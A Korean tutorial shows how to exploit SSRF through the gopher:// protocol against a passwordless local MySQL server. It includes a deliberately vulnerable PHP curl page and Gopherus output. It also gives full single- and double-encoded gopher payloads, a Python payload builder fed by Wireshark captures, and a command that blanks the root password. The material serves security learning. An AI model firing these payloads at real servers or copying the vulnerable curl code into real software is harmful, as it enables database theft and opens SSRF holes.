SSRF Gopher Protocol을 이용하여 MySQL 주입(SSRF Through Gopher)
Table Of Contents
Gopher 이란?(rfc 1436)
Gopher(고퍼)는 가서(Go) 가져온다(Fer)으로 가서 퍼온다라는 의미를 가지고 있으며 미네소타 대학에서 다양한 일정을 쉽게 관리하기 위해 만들어지면서 시작되었는데요
이 Gopher(고퍼)는 웹이 개발되기 전 FTP, Telnet과 같은 다양한 인터넷 서비스를 이용할 수 있게 됐습니다.
하지만 HTTP가 개발되면서 대부분의 사용자들은 HTTP로 이용하게 되면서 Gopher은 현재 잘 쓰지 않는 프로토콜이라고 알려져있는데요
해당 Gopher(고퍼)를 이용하여 HTTP 요청, MySQL 연결, FTP 등 다양한 기능을 사용할 수 있습니다.
예시로 HTTP 요청의 경우 아래와 같이 80포트로 gopher 프로토콜을 이용하여 헤더를 생성하여 요청을 보내면 서버에서 Response를 받아 그대로 출력하는걸 볼 수 있습니다.
root@/var/www/html$ # GET / HTTP/1.1
root@/var/www/html$ # Host: localhost
root@/var/www/html$ curl gopher://127.0.0.1:80/_GET%20/%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0a
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 14:47:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 13 Sep 2021 14:45:51 GMT
ETag: "17-5cbe1857b1730"
Accept-Ranges: bytes
Content-Length: 23
Content-Type: text/html
Hello Gopher Protocol!
또한 리눅스에서 nc와 curl을 이용하여 원하는 값을 전송할 수 있습니다.
SSRF Example
먼저 Gopher 프로토콜을 이용하여 MySQL 데이터베이스의 정보를 탈취하는 시나리오를 위해서는 SSRF 취약점이 발생할 수 있는 페이지를 만들었습니다.
index.php
<?php
if(isset($_GET['url'])){
$cn = curl_init();
curl_setopt($cn, CURLOPT_URL, $_GET['url']);
$result = curl_exec($cn);
echo $result;
}else{
echo "?url=https://www.google.com";
}
?>
hello.php
Hello CURL hello.php
이렇게 php-curl을 이용하여 요청할 수 있는 환경을 만든 다음 ?url=http://localhost/hello.php
를 넣어주게되면 해당 URL으로 요청하게 되면서 SSRF 취약점이 발생할 수 있게 됩니다.
Gopher을 이용한 MySQL 데이터베이스 정보 탈취
SSRF가 취약점이 발생할 수 있는 서버의 MySQL 유저의 비밀번호가 없는 경우 Gopher 프로토콜을 이용하여 MySQL에 연결할 수 있게 됩니다.
Gopherus 툴을 이용하여 URL 생성
Gopher 원하는 쿼리를 넣을 수 있는 URL을 생성하기 위해 Gopherus 툴을 사용할 수 있는데 사실상 밑에 있는 방법보단 이걸 이용해서 빠르게 생성할 수 있다.
사용 방법은 간단한데 아래와 같은 명령어를 입력한 다음 패스워드가 없는 유저의 이름을 적고 원하는 쿼리를 작성하면 바로 URL이 생성되는걸 볼 수 있습니다.
$ sh install.sh
$ gopherus --exploit mysql
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
For making it work username should not be password protected!!!
Give MySQL username: root
Give query to execute: SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%32%00%00%00%03%53%45%4c%45%43%54%20%54%41%42%4c%45%5f%4e%41%4d%45%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%3b%01%00%00%00%01
해당 URL을 가지고 SSRF 취약점이 존재하는 사이트에 아래와 같은 페이로드로 요청을 하면
gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%33%32%25%30%30%25%30%30%25%30%30%25%30%33%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34%25%32%30%25%35%34%25%34%31%25%34%32%25%34%63%25%34%35%25%35%66%25%34%65%25%34%31%25%34%64%25%34%35%25%32%30%25%34%36%25%35%32%25%34%66%25%34%64%25%32%30%25%34%39%25%34%65%25%34%36%25%34%66%25%35%32%25%34%64%25%34%31%25%35%34%25%34%39%25%34%66%25%34%65%25%35%66%25%35%33%25%34%33%25%34%38%25%34%35%25%34%64%25%34%31%25%32%65%25%35%34%25%34%31%25%34%32%25%34%63%25%34%35%25%35%33%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31
이렇게 MySQL에 SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;
쿼리가 실행된 결과를 볼 수 있게됩니다.
네트워크 패킷 캡쳐하여 gopher://URL
생성
먼저 로컬에서 테스트를 하여 제대로 작동이 되는지 확인을 위해 SSRF 시도할 서버의 MySQL 유저의 비밀번호를 초기화 해야되는데
MySQL 비밀번호 삭제
다음과 같은 명령어를 이용하여 비밀번호를 없앤 다음
mysql> alter user 'root'@'localhost' identified with mysql_native_password by '';
MySQL에 연결하는 패킷을 잡기 위해 PHP 소스코드로 연결하고 원하는 쿼리를 전송하고
Wireshark MySQL Packet Capture
MySQL 연결
<?php
$conn = new mysqli("localhost", "root", "");
$conn->query("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES");
?>
Wireshark(와이어샤크)를 이용해 로컬의 MySQL Packet를 캡쳐하면 위의 사진과 같이 MySQL의 요청, 응답 패킷이 캡쳐된걸 볼 수 있습니다.
캡쳐된 패킷 우클릭 후 Follow->TCP stream
캡쳐된 MySQL 패킷중 아무거나 눌러주면 되는데 괜히 헷갈리다가 삽질할 수 있으니 요청의 시작인 Login Request user=root
부분에 우클릭 한 다음 Follow
부분에 있는 TCP stream
을 누르면
TCP stream의 ::1:50731 -> ::1:3306(149 bytes)
를 눌러 요청된 캡쳐를 가지고 Show data as을 RAW으로 변경
위의 사진처럼 요청(빨간색), 응답(파란색)이 있는걸 볼 수 있는데 요청 패킷만 가져오기 위해서
하단에 있는 ::1:50731 -> ::1:3306 (149 bytes)
부분을 눌러 확인하면
이렇게 요청 값만 보이게 됩니다.
요청 값들을 URL으로 전송하기 위해 Show data as ASCII 부분을 RAW 으로 바꿔주면 아래와 같이 HEX로 인코딩된 데이터 값이 나오는데
해당 HEX 데이터를 모두 복사한 다음 줄바꿈을 없애고 해당 python 코드를 실행시키면
def gopher_raw_data(payloads):
payloads = [payloads[i:i + 2] for i in range(0, len(payloads), 2)]
print("gopher://127.0.0.1:3306/_%{}".format("%".join(payloads)))
gopher_raw_data("5300000185a20a00000000c0ff0000000000000000000000000000000000000000000000726f6f740000006d7973716c5f6e61746976655f70617373776f726400150c5f636c69656e745f6e616d65076d7973716c6e6400000003310000000353454c454354205441424c455f4e414d452046524f4d20494e464f524d4154494f4e5f534348454d412e5441424c45530100000001")
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;
쿼리를 실행할 수 있는 gopher URL이 나옵니다.
gopher://127.0.0.1:3306/_%53%00%00%01%85%a2%0a%00%00%00%00%c0%ff%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%15%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%07%6d%79%73%71%6c%6e%64%00%00%00%03%31%00%00%00%03%53%45%4c%45%43%54%20%54%41%42%4c%45%5f%4e%41%4d%45%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%01%00%00%00%01
이제 해당 URL을 SRF 취약저밍 터지는 서버 내부의 CURL에 그대로 전송하기 위해 double url encoding하면
http://localhost?url=gopher://127.0.0.1:3306/_%25%35%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%32%25%30%61%25%30%30%25%30%30%25%30%30%25%30%30%25%63%30%25%66%66%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%31%35%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%37%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%36%65%25%36%34%25%30%30%25%30%30%25%30%30%25%30%33%25%33%31%25%30%30%25%30%30%25%30%30%25%30%33%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34%25%32%30%25%35%34%25%34%31%25%34%32%25%34%63%25%34%35%25%35%66%25%34%65%25%34%31%25%34%64%25%34%35%25%32%30%25%34%36%25%35%32%25%34%66%25%34%64%25%32%30%25%34%39%25%34%65%25%34%36%25%34%66%25%35%32%25%34%64%25%34%31%25%35%34%25%34%39%25%34%66%25%34%65%25%35%66%25%35%33%25%34%33%25%34%38%25%34%35%25%34%64%25%34%31%25%32%65%25%35%34%25%34%31%25%34%32%25%34%63%25%34%35%25%35%33%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31
이렇게 SSRF 취약점을 이용하여 gopher 프로토콜로 데이터베이스의 정보를 탈취할 수 있는걸 볼 수 있었습니다.
후기
SSRF 취약점을 이용하여 웹 페이지의 소스코드만 가져올 수 있는게 아니라는걸 알 수 있었습니다.